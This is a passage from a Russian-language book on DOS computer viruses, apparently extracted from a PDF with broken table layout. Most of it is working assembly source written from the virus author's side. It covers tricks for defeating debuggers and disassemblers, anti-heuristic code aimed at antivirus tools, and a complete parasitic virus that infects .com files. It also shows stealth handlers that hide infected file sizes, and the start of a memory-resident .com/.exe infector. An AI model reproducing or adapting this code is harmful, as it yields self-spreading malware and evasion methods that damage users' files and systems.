Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
71 |
|
|
|
mov |
dx,OFFSET normal |
; |
mov |
ah,09h |
;Вывод сообщения при нормальной работе |
int |
21h |
;программы |
int |
20h |
;Завершение работы программы |
int_start: |
|
;Это наш обработчик 3 прерывания |
mov |
ah, 9 |
; |
mov |
dx, offset debug |
;Выскажем нашу любовь отладчику и завершим |
int |
21h |
;работу |
int |
20h |
; |
sl0n db |
"Hello People$" |
|
debug db "Fuck you debugger$" cseg ends
end start ;----------------------------------------------
Третье прерывание — это прерывание отладчика. Как только начнется трассировка программы. Уже после подмены обработчика будет выведено наше сообщение, и работа программы будет прекращена. И это будет причиной того, что наш вирус не смогут отладить. Вообще говоря, следовало бы сохранить адрес 3-го прерывания и в конце программы восстановить оригинальный обработчик.
Еще один старый, но очень действенный способ — это выключать клавиатуру. Взглянем на листинг:
;----------------------------------------------
mov al,0adh ;После этих инструкций кнопки не работают out 64h,al ;
;----------------------------------------------
Существует еще множество других способов обмануть отладчик, и я вам советую придумывать свои.
Теперь мы знаем, как обмануть отладчик, но от этих наших умений не будет пользы, если кто-нибудь дизассемблирует наш вирус. И как бы мы ни изощрялись с обманом отладчиков, следует также помнить о дизассемблере.
Сейчас мы рассмотрим способы обмана дизассемблера. Основным методом обмана дизассемблеров является перекрывающийся код.
Для лучшего понимания будем рассматривать все на примерах:
;---------------------------------------------- |
|
|
cseg |
segment |
|
|
org 100h |
|
|
assume cs:cseg,ds:cseg,es:cseg |
|
start: |
|
|
;----- |
[anti disasm trick, work on sourcer 7.0]-------------------------- |
|
ddie: |
|
|
|
mov ax,02ebh |
;!!!!!!! |
|
jmp $-2 |
;!!!!!!! |
;---------------------------------------------- |
|
|
|
mov ax,0900h |
|
|
lea dx,hello |
|
|
int 21h |
|
72 |
DOS вирусы |
|
|
|
int 20h |
|
hello db 'hell0$' |
cseg |
ends |
|
end start |
;---------------------------------------------- |
|
Что же делает выделенная восклицательными знаками часть кода?
1.В ax помещается значение 02ebh (это опкод комманды jmp$+2).
2.jmp $-2, переходит на значение 02ebh.
3.jmp $+2, переходит на mov ax,0900h.
Таким образом, можно строить сколь угодно сложный перекрывающийся код. Еще в перекрывающемся коде есть один большой плюс — с его помощью можно прятать неприятные для антивирусов инструкции.
Также методом защиты от дизассемблера является полное шифрование кода или данных.
Теперь, когда мы умеем прятаться от отладчика и дизассемблера, применим эти навыки на *.com паразите.
Перейдем к листингу:
;---------------------------------------------- |
|
|
.model tiny |
|
|
.code |
|
|
org 100h |
|
|
start: |
db 0e9h,00h,00h |
; Переход на начало вируса (st_vir) |
st_vir: |
call $+3 |
|
f_offset: |
pop bp |
|
|
int 1h |
; Антиэвристика |
|
mov ax,02ebh |
; Смерть дизассемблеру |
|
jmp $-2 |
; IDA и Sourcer капитулировали |
|
sub bp, OFFSET f_offset |
; Считаем смещение, |
|
|
; с которого начинается вирусный |
|
|
; êîä |
|
not sp |
; Прощаемся с отладчиками |
|
not sp |
; |
|
lea si,[bp+orig_bytes] |
; Восстанавливаем оригинальные 3 байта |
|
mov di,100h |
; Положим в стек переход на |
|
push di |
; начало программы |
|
movsw |
|
|
movsb |
|
|
lea dx,[bp+new_dta] |
; Установим DTA |
|
mov ah,1ah |
|
|
int 21h |
|
|
mov ah,09h |
; Выведем сообщение |
|
lea dx,[bp+msg] |
; |
|
int 21h |
|
|
mov ah,4eh |
; DOS функция findfirst |
|
lea dx,[bp+file_m] |
; Ищем *.com файл (любой) |
|
xor cx,cx |
; |
DOS вирусы |
|
73 |
|
|
|
f_next: |
int 21h |
; |
|
jc exit |
; если ошибка или файлы закончились, |
|
|
; то на выход |
|
mov ax,3d00h |
; Откроем найденный файл на чтение |
|
lea dx,[bp+new_dta+30] |
; |
|
int 21h |
; |
|
xchg ax,bx |
; Положим хэндл в bx |
|
mov ah,3fh |
; Прочитаем из файла |
|
lea dx,[bp+orig_bytes] |
; оригинальный заголовок, |
|
mov cx,3 |
; а если быть более точным, то 3 байта |
|
int 21h |
; |
|
cmp word ptr[bp+orig_bytes],'MZ' ; Если это *.exe переименованный |
||
|
je close |
|
; в *.com, то переходим к следующему |
|
cmp word ptr[bp+orig_bytes],'ZM' ; файлу |
||
|
je close |
|
; |
|
mov ax,word ptr [bp+new_dta+26] |
; Положим размер файла в ax |
|
|
mov cx,word ptr [bp+orig_bytes+1] ; |
||
|
add cx,end_vir-st_vir+3 |
; |
Добавим размер вируса |
|
cmp ax,cx |
; |
Если длины совпадают, то файл |
|
jnz infect |
; |
заражен. Если нет, сейчас заразим |
close: |
mov ah,3eh |
; |
Закрываем файл |
|
int 21h |
; |
|
|
mov ah,4fh |
; |
и ищем новый |
|
jmp short f_next |
; |
|
exit: |
mov dx,80h |
; |
Восстанавливаем старый DTA |
|
mov ah,1ah |
|
|
|
int 21h |
|
|
|
retn |
; |
Переходим на начало программы |
|
|
; |
100h было ведь в стеке |
infect: |
|
|
|
|
mov ax,word ptr [bp+new_dta+26] |
;Положим размер файла в ax |
|
|
sub ax,3 |
|
; Отнимем 3 и получим смещение для |
|
mov word ptr [bp+jmp_offset],ax |
; перехода на тело вируса |
|
|
mov ah,3eh |
; |
|
|
int 21h |
; |
Закроем файл |
|
mov ax,3d02h |
; |
Откроем на чтение/запись |
|
int 21h |
; |
|
|
xchg ax,bx |
; |
Положим хэндл в bx |
|
mov ah,40h |
; |
Запишем в файл |
|
int 1h |
; |
Антиэвристика |
|
mov cx,3 |
; |
3 байта |
|
lea dx,[bp+header] |
; |
Это переход на тело вируса, которое |
|
int 21h |
; |
будет дописано к файлу |
|
|
; |
Перейдем на конец файла |
|
mov ax,4202h |
|
|
xor cx,cx xor dx,dx int 21h
74 |
|
DOS вирусы |
|
|
|
|
mov ah,40h |
; Допишем тело вируса |
|
int 1h |
; Антиэвристика |
|
mov cx,end_vir-st_vir |
; |
|
lea dx,[bp+st_vir] |
; |
|
int 21h |
; |
|
mov ah,3eh |
; Закроем файл |
|
int 21h |
; |
|
jmp exit |
; и передадим управление оригинальной |
|
|
; программе |
msg db "[Par4s1+ic ChuM4 v 1.0 by sl0n]",0ah,0dh,"$" ; Сообщение |
||
file_m |
db '*.com',0 |
; маска файла для поиска |
orig_bytes |
db 0cdh,20h,0 |
; байты оригинального заголовка |
header |
db 0e9h |
; переход на вирус |
end_vir |
equ $ |
; символ конца вируса |
jmp_offset |
dw ? |
; переменная для смещения на вирус |
new_dta |
db 43 dup(?) |
; массив для DTA |
end start ;----------------------------------------------
Ну вот, после таких модификаций нашего вируса его будет не так уж просто найти и вылечить.
При лечении данного файла усложняется анализ вируса и поиск оригинальных байт. А сам принцип лечения не меняется.
5.3. Стелс-механизмы
Начнем рассмотрение вирусных стелс-механизмов. Самым первым вирусным стелс-механизмом был перехват 24 прерывания и подмена его обработчика вирусным. Это было необходмо, потому как, если вирус хотел заразить файл на защищенной от записи дискете, выдавалось сообщение об ошибке. Ни один хороший вирус был пойман на этой ошибке, и чтобы вирусы не повторили их судьбу, необходимо, как уже говорилось выше, ставить свой обработчик на 24 прерывание. При попытке записи на защищенную дискету DOS покорно промолчит.
Принцип перехвата прерывания остается таким же, как и в части о резидентных вирусах, но здесь обработчик будет очень простой.
Рассмотрим листинг перехвата 24 прерывания:
;----------------------------------------------
mov ax,3524h int 21h
mov word ptr [oldint24],bx mov word ptr [oldint24+2],es
mov ah,25h
lea dx,[bp+int24] int 21h
push cs pop es
;----------------------------------------------
DOS вирусы |
75 |
|
|
Все довольно тривиально и было обсуждено в разделе о резидентных вирусах.
Теперь рассмотрим сам вирусный обработчик 24 прерывания:
;----------------------------------------------
int24:
mov al,3 iret
;----------------------------------------------
Ну, а здесь вообще две команды, предназначенные для главной цели — погашения сообщения об ошибке записи. И нужно не забыть перед передачей управления оригинальной программе восстановить оригинальный обработчик 24 прерывания:
;----------------------------------------------
mov ax,2524h
lea dx,[bp+oldint24] int 21h
push cs pop ds
;----------------------------------------------
Данный маскировочный прием может использоваться как в резидентных, так и в обычных вирусах.
Следующим шагом в стелс-механизмах стал неполный стелс-механизм. Он может применяться только в резидентных вирусах и основан на том же принципе, что и инфицирование программ резидентными вирусами. То есть, находясь в памяти он отлавливает обращения DOSа к инфицированному файлу и подменяет настоящий размер на настоящий размер минус длина вируса. В итоге рост длины не заметен, но если взглянуть каким-нибудь редактором, то вирус будет виден.
Рассмотрим алгоритм работы неполного стелс механизма.
1.Посадка в память вируса.
2.Отлавливание прерываний 11h/12h, 4eh/4fh. Отлов 11h/12h необходим для обмана DOS команды dir. Отлов 4eh/4fh необходим для обмана таких программ как NC.
3.Если отловлено 11h/12h, то один вирусный обработчик, уменьшающий длину инфицированного файла на размер вируса, подменяет длину.
4.Если отловлено 4eh/4fh, то другой вирусный обработчик, уменьшающий длину инфицированного файла на размер вируса, подменяет длину.
Рассмотрим подробно п. 2, 3 и 4 маскировочного механизма, так как п. 1 был достаточно подробно изложен в части, посвященной резидентным вирусам.
И так рассмотрим второй шаг алгоритма. По сути, он очень прост и не отли- чается от вирусного обработчика 21 прерывания, занимающегося инфицированием файлов. Если быть более конкретным, то это всего лишь надстройка к нему.
76 DOS вирусы
Взглянем на листинг:
;----------------------------------------------
new_int21h:
cmp ah,99h |
; Проверка на присутствие в памяти |
jne continue |
|
mov bh,99h |
|
iret |
|
continue: |
|
cmp ah,4bh |
; Запускается программа или нет? |
jne check_dir |
|
jmp infect |
; Будем заражать |
check_dir: |
|
cmp ah,11h |
; Есть вызов dir? |
je hide_dir |
; Тогда маскируемся |
cmp ah,12h |
; Есть вызов dir? |
je hide_dir |
; Тогда маскируемся |
cmp ah,4eh |
; Или нас зовет NC? |
je hide_dir2 |
; Прячемся от NC |
cmp ah,4fh |
; Или нас зовет NC? |
je hide_dir2 |
; Прячемся от NC |
jmp do_oldint21h |
; Вернем управление оригинальному обрабочику DOS |
;---------------------------------------------- |
|
Тут тоже все просто: если вы разобрались с резидентными вирусами, то все должны понимать, а если не разобрались, прочитайте еще раз.
Теперь третий шаг нашего алгоритма маскировки. В этой части мы должны обмануть DOS ровно на длину вирусного тела, чтобы при вызове DOS-команды «dir» выводилась поддельная длина, как будто этот файл и не заражен вовсе.
Рассмотрим листинг:
;---------------------------------------------- |
|
hide_dir: |
; |
pushf |
; Положим в стек флаги |
push cs |
; è cs |
call do_oldint21h |
; Теперь вызовем оригинальное 21 прерывание |
or al,al |
; Вызов был удачным? |
jnz skip_dir |
; Нет, маскировка отменяется |
push ax bx es |
; Сохраняем используемые регистры |
mov ah,62h |
; Получим текущий PSP |
int 21h |
|
mov es,bx |
|
cmp bx,es:[16h] |
; PSP в порядке? |
jnz bad_psp |
; Если нет, то на выход |
mov bx,dx |
|
mov al,[bx] |
; |
push ax |
; расширенный FCB |
mov ah,2fh |
; получим DTA |
int 21h |
|
pop ax |
|
inc al |
; Это расширенный FCB? |
jnz no_ext |
|
DOS вирусы |
77 |
|
|
|
|
add |
bx,7 |
; Если да, то добавим 7 |
no_ext: |
|
|
mov |
al,byte ptr es:[bx+17h] |
; Взглянем на наши секунды |
and |
al,1fh |
|
xor |
al,1dh |
; Файл заражен? |
jnz |
no_stealth |
; Если нет, то размер не изменяем |
cmp |
word ptr es:[bx+1dh],vir_size |
; Если размер меньше, чем размер вируса, то он не |
ja hide_it |
; мог быть заражен. Значит, не маскируем |
|
cmp |
word ptr es:[bx+1fh],0 |
; |
je no_stealth |
; |
|
hide_it: |
|
|
sub |
word ptr es:[bx+1dh],vir_size |
; Подменяем размер файла |
sbb |
word ptr es:[bx+1fh],0 |
|
no_stealth: |
|
|
bad_psp: |
|
|
pop es bx ax |
; Восстанавливаем регистры |
|
skip_dir: |
|
|
iret |
|
; Возвращаем управление |
;---------------------------------------------- |
|
|
Теперь рассмотрим четвертый шаг нашего стелс-механизма. По сути, прятаться от таких программ, как NC, даже проще, чем обманывать DOS.
Рассмотрим листинг:
;---------------------------------------------- |
|
|
hide_dir2: |
|
|
pushf |
; Положим в стек флаги |
|
push cs |
; è cs |
|
call do_oldint21h |
; Теперь вызовем оригинальное 21 прерывание |
|
jc eofs |
; Если файлов больше нет, то на выход |
|
push ax es bx |
; Сохраним регистры |
|
mov ah,2fh |
; Получим DTA |
|
int |
21h |
|
mov |
ax,es:[bx+16h] |
|
and |
ax,1fh |
; PSP в порядке? |
xor |
al,29 |
|
jnz |
not_inf |
; Если нет, на выход |
cmp |
word ptr es:[bx+1ah],vir_size |
; Файлы меньше длины вируса - не трогаем |
ja sub_it |
|
|
cmp |
word ptr es:[bx+1ch],0 |
|
je not_inf |
|
|
sub_it: |
|
|
sub |
word ptr es:[bx+1ah],vir_size |
; Исправляем длину файла |
sbb |
word ptr es:[bx+1ch],0 |
|
not_inf: |
|
|
pop bx es ax |
; Восстанавливаем регистры |
|
eofs: |
|
|
retf 2 |
; Возвращаем управление |
|
;----------------------------------------------
78 |
DOS вирусы |
|
|
Дальше, после неполного стелс-механизма появился полный стелс-меха- низм. Как и неполный, он использовался только в резидентных вирусах. Смысл его работы примерно такой же, как и у его предшественника:
1)при открытии файла вирус получает управление;
2)проверяет, инфицирован он или нет;
3)если инфицирован, то вылечивает его (правит заголовок и удаляет тело вируса);
4)возвращает управление программе;
5)при закрытии файла снова его заражает.
Данный механизм используется в совокупности с неполным стелс-механиз- мом. Этим достигается полная невидимость вируса по отношению к пользователю. Но при использовании полного стелсирования в вирусе находится алгоритм его лечения, что крайне нежелательно делать. Поэтому я рекомендую использовать два первых метода.
Но я считаю также, что стоит взглянуть на пример вирусного обработчика при полном стелс-механизме.
Рассмотрим листинг:
;----------------------------------------------
new_int21h:
cmp |
ah,99h |
; Проверка на присутствие в памяти |
jne |
continue |
|
mov |
bh,99h |
|
iret |
|
|
continue: |
|
|
cmp |
ah,4bh |
; Запускается программа или нет? |
jne |
check_dir |
|
jmp |
infect |
; Будем заражать |
check_dir: |
|
|
cmp |
ah,11h |
; Есть вызов dir? |
je hide_dir |
; Тогда маскируемся |
|
cmp |
ah,12h |
; Есть вызов dir? |
je hide_dir |
; Тогда маскируемся |
|
cmp |
ah,4eh |
; Или нас зовет NC? |
je hide_dir2 |
; Прячемся от NC |
|
cmp |
ah,4fh |
; Или нас зовет NC? |
je hide_dir2 |
; Прячемся от NC |
|
cmp |
ah,03dh |
; !!!!!!!!!!!! |
jne |
next_test |
; !!!!!!!!!!!! |
jmp |
full_stealth |
; !!!!!!!!!!!! |
next_test: |
; !!!!!!!!!!!! |
|
cmp |
ah,03eh |
; !!!!!!!!!!!! |
jne |
ending |
; !!!!!!!!!!!! |
jmp |
infect_on_close |
; !!!!!!!!!!!! |
ending: |
|
|
jmp do_oldint21h |
; Вернем управление оригинальному обрабочику DOS |
|
;---------------------------------------------- |
|
|
Восклицательными знаками отмечено место в вирусном обработчике 21 прерывания, которое отличает полустелс-вирус от полного. Это реагирование на от-
DOS вирусы |
79 |
|
|
крытие файла и соответственно лечение файла, если он инфицирован, а также заражение этого файла, когда работа с ним закончена.
Теперь мы реализуем первые два неполных стелс-механизма в резидентном паразите комбинированного типа (*.com + *.exe) для примера.
Перейдем к листингу:
;---------------------------------------------- |
|
cseg |
segment byte public 'code' |
|
assume cs:cseg, ds:cseg |
|
org 100h |
start_of_virus: call get_delta
get_delta: ; Получим дельта-смещение pop bp
sub bp,offset get_delta
install_code:
mov ax,es ; Восстановим регистры add ax,10h
add word ptr cs:[bp+EXEret+2],ax add word ptr cs:[bp+EXEstack],ax
push es
mov ah,99h |
; Проверка на присутствие в памяти |
int 21h |
|
cmp bh,99h |
|
je already_resident |
|
mov ah,4ah |
; Получение количества параграфов |
mov bx,0ffffh |
|
int 21h |
|
sub bx,(vir_size+15)/16+1 |
; Отнимем размер вируса в параграфах |
mov ah,4ah |
|
int 21h |
|
mov ah,48h |
; Резервируем память для вируса |
mov bx,(vir_size+15)/16 |
|
int 21h |
|
jc already_resident |
; Если ошибка, то на выход |
dec ax |
; ax-1 = MCB |
mov es,ax |
|
mov word ptr es:[1],8 |
; Владелец DOS |
push ax |
; Положим ax в стек |
mov ax,3521h |
; Получим вектор 21 прерывания |
find: |
|
db 068h |
; Антиэвристический механизм |
dw OFFSET @avp |
; |
ret |
; AVP нас не найдет |
pop ax |
; |
@avp: |
; |
int 21h |
|
mov word ptr ds:[OldInt21h],bx |
|
80 |
|
DOS вирусы |
|
|
|
mov |
word ptr ds:[OldInt21h+2],es |
|
pop |
ax |
; ax = MCB для выделения памяти |
push cs |
|
|
pop |
ds |
|
cld |
|
; cld äëÿ movsw |
sub |
ax,0fh |
; es:[100h] = начало выделенной памяти |
mov |
es,ax |
|
mov |
di,100h |
|
lea |
si,[bp+offset start_of_virus] |
|
mov |
cx,(vir_size+1)/2 |
; Переносим вирус в память |
rep |
movsw |
|
push es |
|
|
pop |
ds |
|
mov |
dx,offset new_int21h |
; Ставим свой обработчик 21 прерывания |
mov |
ax,2521h |
|
int |
21h |
|
mov |
ax,3524h |
; Получим вектор 21 прерывания |
int |
21h |
|
mov |
word ptr ds:[old24],bx |
|
mov |
word ptr ds:[old24+2],es |
|
mov |
dx,offset new24 |
; Установим свой обработчик 24 прерывания |
mov |
ah,25h |
; чтобы не было ошибок при записи на защищенную дискету |
int |
21h |
|
already_resident: |
|
|
push cs cs |
|
|
pop |
es ds |
|
cmp |
byte ptr [bp+COMflag],1 |
; Проверим, откуда стартуем *.com или *.exe |
jne |
exit_EXE |
|
exit_COM: |
; Возвращаем управление оригинальной программе |
|
mov di,100h |
|
|
lea |
si,[bp+COMret] |
|
mov |
cx,3 |
|
rep |
movsb |
; Восстанавливаем первые 3 байта |
pop |
es |
; И передаем управление |
mov |
ax,100h |
|
jmp |
ax |
|
exit_EXE: |
; Выход, если стартовали из *.exe файла |
|
pop |
es |
|
mov |
ax,es |
; Восстановим сегментные регистры и ss:sp |
mov |
ds,ax |
|
cli |
|
|
mov ss,word ptr cs:[bp+EXEstack] |
|
|
mov sp,word ptr cs:[bp+EXEstack+2] |
||
sti |
|
|
db 0eah |
|
; Передаем управление программе |
EXEret db 0,0,0,0 |
|
|
EXEstack dd 0 |
|
|
